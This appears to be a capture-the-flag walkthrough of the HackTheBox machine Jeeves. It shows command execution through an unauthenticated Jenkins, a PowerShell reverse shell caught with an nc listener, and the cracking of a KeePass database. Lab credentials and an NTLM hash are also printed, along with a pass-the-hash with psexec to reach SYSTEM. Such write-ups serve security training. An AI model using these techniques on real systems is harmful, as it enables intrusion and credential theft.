Jeeves was first released in 2017, and I first solved it in 2018. Four years later, it’s been an interesting one to revisit. Some of the concepts seem not that new and exciting, but it’s worth remembering that Jeeves was the first to do them. I’ll start with a webserver and find a Jenkins instance with no auth. I can abuse Jenkins to get execution and remote shell. From there, I’ll find a KeePass database, and pull out a hash that I can pass to get execution as Administrator. root.txt is actually hidden in an alternative data stream.

Box Info

Name Jeeves Jeeves
Release Date 11 Nov 2017
Retire Date 19 May 2018
OS Windows Windows
Base Points Medium [30]
Rated Difficulty Rated difficulty for Jeeves
Radar Graph Radar chart for Jeeves
First Blood User 19 mins, 52 seconds CTFPiggy
First Blood Root 3 hours, 53 mins, 41 seconds arkantolo



nmap finds four open TCP ports, HTTP (80), SMB/RPC (135/445), and another Jetty webserver (50000):

oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2022-04-12 21:44 UTC
Nmap scan report for
Host is up (0.10s latency).    
Not shown: 65531 filtered ports
80/tcp    open  http 
135/tcp   open  msrpc       
445/tcp   open  microsoft-ds
50000/tcp open  ibm-db2
Nmap done: 1 IP address (1 host up) scanned in 13.92 seconds
oxdf@hacky$ nmap -p 80,135,445,50000 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2022-04-12 21:45 UTC
Nmap scan report for
Host is up (0.090s latency).

80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 5h00m00s, deviation: 0s, median: 4h59m59s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-04-13T02:45:30
|_  start_date: 2022-04-13T02:43:40

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 47.53 seconds

SMB scripts show it’s Windows 7-10, and the IIS version suggests Windows 10 or Server 2016.

Website - TCP 80


The webserver returns a “Ask Jeeves” looking search engine:


Submitting anything is a GET request to /error.html. The value in the “Search here…” box isn’t even sent. The result is a simple page with a single image:

<img src="jeeves.PNG" width="90%" height="100%">

It looks like a ASP.NET error message about failing to connect to MSSQL:


This form doesn’t seem useful.

Tech Stack

The response headers show the page is hosted by IIS, but not much else of interest:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 06 Nov 2017 02:35:12 GMT
Accept-Ranges: bytes
ETag: "8ab5f9dea756d31:0"
Server: Microsoft-IIS/10.0
Date: Wed, 13 Apr 2022 02:52:48 GMT
Connection: close
Content-Length: 50

Directory Brute Force

feroxbuster also finds nothing of interest:

oxdf@hacky$ feroxbuster -u

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.5.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
[####################] - 56s    29999/29999   0s      found:0       errors:0      
[####################] - 56s    29999/29999   534/s 

SMB - TCP 445

I’m not able to connect to SMB without creds:

oxdf@hacky$ smbclient -N -L //
session setup failed: NT_STATUS_ACCESS_DENIED

HTTP - TCP 50000


The page on 50000 returns an error as well:


Tech Stack

The message in the page above and the HTTP response headers reference Jetty:

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 13 Apr 2022 03:05:02 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 315
Server: Jetty(9.4.z-SNAPSHOT)

Jetty is a webserver built on Java made to host Java Servlets.

Directory Brute Force

feroxbuster doesn’t find anything here either:

oxdf@hacky$ feroxbuster -u

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt                                      
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.5.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
[####################] - 54s    29999/29999   0s      found:0       errors:0
[####################] - 54s    29999/29999   548/s

feroxbuster by default uses the SecLists raft-medium-directories.txt wordlist, which is a pretty good approximation for what I should expect to find on HackTheBox today. Back in 2017, the go to wordlist was the dirbuster directory-list-2.3-medium.txt list. Looking at my notes from originally solving this box, that list finds something:

root@kali# gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions   : .txt,.php,.html
/askjeeves (Status: 302)

In HTB, for machines released recently, the raft-medium-directories.txt list is probably good enough… but it’s a good reminder that in the real world (and on older HTB machines), it’s worth trying different wordlists.


This page is an instance of Jenkins:


Shell as kohsuke

Execution Via Job [1]

Create a Job

I recently ran into using Jenkins to get execution for the Object machine from the HTB Uni CTF 2021. I’ll follow similar steps here. First, I’ll click “New Item”, and on the next form give it a name (doesn’t matter what, I’ll just use “0xdf”), and select “Freestyle Project” as the type.

The next form presents the configuration options:


At the bottom, I’ll “Add build step”, and select “Execute Windows batch command”:


I’ll start with cmd /c whoami:


I’ll click save, which takes me back to a dashboard for the job.

Run Job

In Object, Jenkins was configured such that “Build Now” was not an option. Here, it is:


Clicking that, it shows up in the build history (I clicked twice, oops):


Clicking on one and going to “Console Output” shows the results of the command:


Execution Via Script Console [2]

From the main dashboard left menu, I’ll click “Manage Jenkins”:


A little over halfway down is “Script Console”:


It gives a box to put in Groovy scripts. To run a command on the host, I’ll enter println "cmd.exe /c whoami".execute().text, and click run:



I’ll jump into and build a shell. I’ve had really good luck lately with Powershell #3 (Base64), so I’ll use that one.

To get a shell via the job, I’ll click “Configure” to get back to the job configuration, and update the batch command:


Or I can paste that directly into the Script Console:


Either way, I’ll run the listener with rlwrap to make the shell more usable, and then run the job. There’s a connection at the listener:

oxdf@hacky$ sudo rlwrap -cAr nc -lvnp 445
Listening on 445
Connection received on 49676
PS C:\Users\Administrator\.jenkins\workspace\0xdf>

It doesn’t show the prompt until after the first command, but once I see “Connection received on [Jeeves IP]”, I know it’s there.

Despite running as kohsuke, I’m in a directory in the Administrator’s home directory. Still, I can’t access anything else in here. I’ll visit kohsuke’s desktop, and grab user.txt:

PS C:\Users\kohsuke\desktop> cat user.txt

Shell as Administrator


There are no other users on the box besides administrator, so that’s the clear next target:

PS C:\Users> dir

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/3/2017  11:07 PM                Administrator
d-----        11/5/2017   9:17 PM                DefaultAppPool
d-----        11/3/2017  11:19 PM                kohsuke
d-r---       10/25/2017   4:46 PM                Public 

PS C:\Users> net user

User accounts for \\JEEVES

Administrator            DefaultAccount           Guest                    
The command completed successfully.

Looking around kohsuke’s home directory, there’s a single file in the Documents folder:

PS C:\Users\kohsuke\Documents> ls

    Directory: C:\Users\kohsuke\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/18/2017   1:43 PM           2846 CEH.kdbx 

That’s a KeePass database, a local password manager.


On a Linux host, I could just use nc to send this back. On Windows, it’s a bit tricker. Still, there’s a webserver here, so I’ll copy the file into that directory:

PS C:\Users\Administrator\.jenkins\workspace\0xdf> copy \users\kohsuke\Documents\CEH.kdbx .
PS C:\Users\Administrator\.jenkins\workspace\0xdf> ls

    Directory: C:\Users\Administrator\.jenkins\workspace\0xdf

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        9/18/2017   1:43 PM           2846 CEH.kdbx  

Now clicking on “Workspace” in the Jenkins GUI shows the file:


Once I download it, I’ll delete it from the directory:

PS C:\Users\Administrator\.jenkins\workspace\0xdf> del CEH.kdbx 

Crack Master Password

With KeePass, to get things out of the database, I need the master password. I’ll use the keepass2john script to create a hash the represents the password:

oxdf@hacky$ keepass2john CEH.kdbx 
oxdf@hacky$ keepass2john CEH.kdbx > CEH.kdbx.hash

I’ll use hashcat to crack it. I’ll need the --user flag as the hash starts with [username]:. hashcat now can automatically detect the hash type (most of the time), and it works here:

$ /opt/hashcat-6.2.5/hashcat.bin CEH.kdbx.hash /usr/share/wordlists/rockyou.txt --user
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager

The password is “moonshine1”.

Extract Passwords

I’ll use kpcli to extract passwords from the KeePass database. To connect, I just give it the kdb file and enter the master password when prompted:

oxdf@hacky$ kpcli --kdb CEH.kdbx
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.


find . will list all the passwords:

kpcli:/> find .
Searching for "." ...
 - 8 matches found and placed into /_found/
Would you like to list them now? [y/N] 
=== Entries ===
0. Backup stuff                                                           
1. Bank of America                         
2. DC Recovery PW                                                         
3. EC-Council                     
4. It's a secret                                 localhost:8180/secret.jsp
5. Jenkins admin                                            localhost:8080
6. Keys to the kingdom                                                    

show -f [num] will print each of those passwords:

kpcli:/> show -f 0

 Path: /CEH/
Title: Backup stuff
Uname: ?
 Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

kpcli:/> show -f 1

 Path: /CEH/
Title: Bank of America
Uname: Michael321
 Pass: 12345

kpcli:/> show -f 2

 Path: /CEH/
Title: DC Recovery PW
Uname: administrator
 Pass: S1TjAtJHKsugh9oC4VZl

kpcli:/> show -f 3

 Path: /CEH/
Title: EC-Council
Uname: hackerman123
 Pass: pwndyouall!
Notes: Personal login

kpcli:/> show -f 4

 Path: /CEH/
Title: It's a secret
Uname: admin
 Pass: F7WhTrSFDKB6sxHU1cUn
  URL: http://localhost:8180/secret.jsp

kpcli:/> show -f 5

 Path: /CEH/
Title: Jenkins admin
Uname: admin
  URL: http://localhost:8080
Notes: We don't even need creds! Unhackable! 

kpcli:/> show -f 6

 Path: /CEH/
Title: Keys to the kingdom
Uname: bob

kpcli:/> show -f 7

 Path: /CEH/
Uname: anonymous
 Pass: Password
Notes: Getting my shopping on

Try Passwords

I’ll collect the ones that look like passwords into a list:

oxdf@hacky$ cat passwords 

I’ll pass that to crackmapexec for the Administrator user, but none work:

oxdf@hacky$ crackmapexec smb -u Administrator -p passwords 
SMB     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB     445    JEEVES           [-] Jeeves\Administrator:12345 STATUS_LOGON_FAILURE 
SMB     445    JEEVES           [-] Jeeves\Administrator:S1TjAtJHKsugh9oC4VZl STATUS_LOGON_FAILURE 
SMB     445    JEEVES           [-] Jeeves\Administrator:pwndyouall! STATUS_LOGON_FAILURE 
SMB     445    JEEVES           [-] Jeeves\Administrator:F7WhTrSFDKB6sxHU1cUn STATUS_LOGON_FAILURE 
SMB     445    JEEVES           [-] Jeeves\Administrator:lCEUnYPjNfIuPZSzOySA STATUS_LOGON_FAILURE 
SMB     445    JEEVES           [-] Jeeves\Administrator:Password STATUS_LOGON_FAILURE

Try Hash

LM and NT Hashes

The first entry in the KeePass, “Backup”, provided what looks like a Windows hash:


Windows will show hashes in the format LM Hash:NT Hash. LM is the much less secure hash format used in legacy Windows systems. It’s typically not used, but kept around for backwards compatibility. Many times, the LM hash for the blank password is stored, which is ignored by Windows but allows the field not to be empty. aad3b435b51404eeaad3b435b51404ee is the LM hash of the empty password.

Crack Failures

Because there’s no salting in NT hashes, I can submit them to CrackStation, where they store tons of hashes for known passwords. It finds the empty LM hash, but doesn’t have anything for the NT hash:


Pass The Hash

Because of how Windows handles authentication, when you enter your password, it’s actually the hash of the password that the client sends to Windows. That means with the right client, you can just pass that hash directly. crackmapexec is one of those clients that can take a hash and try to auth with it, and it works:

oxdf@hacky$ crackmapexec smb -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00                                                    
SMB     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB     445    JEEVES           [+] Jeeves\Administrator:aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

Now only is it successful, but it shows (Pwn3d!), which means this account has admin access.


With valid admin creds, I’ll use to get a shell:

oxdf@hacky$ -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 administrator@ cmd.exe
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file KLAXsITe.exe
[*] Opening SVCManager on
[*] Creating service xUyL on
[*] Starting service xUyL.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system


On Administrator’s desktop, there’s no root.txt, but rather a hm.txt:

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,519,215,616 bytes free
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.

On thing to check in CTFs is for alternative data streams, which can be seen in dir with /R. hm.txt has a stream named root.txt:

C:\Users\Administrator\Desktop> dir /R
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,519,215,616 bytes free

The stream can be read by piping it into more:

C:\Users\Administrator\Desktop> more < hm.txt:root.txt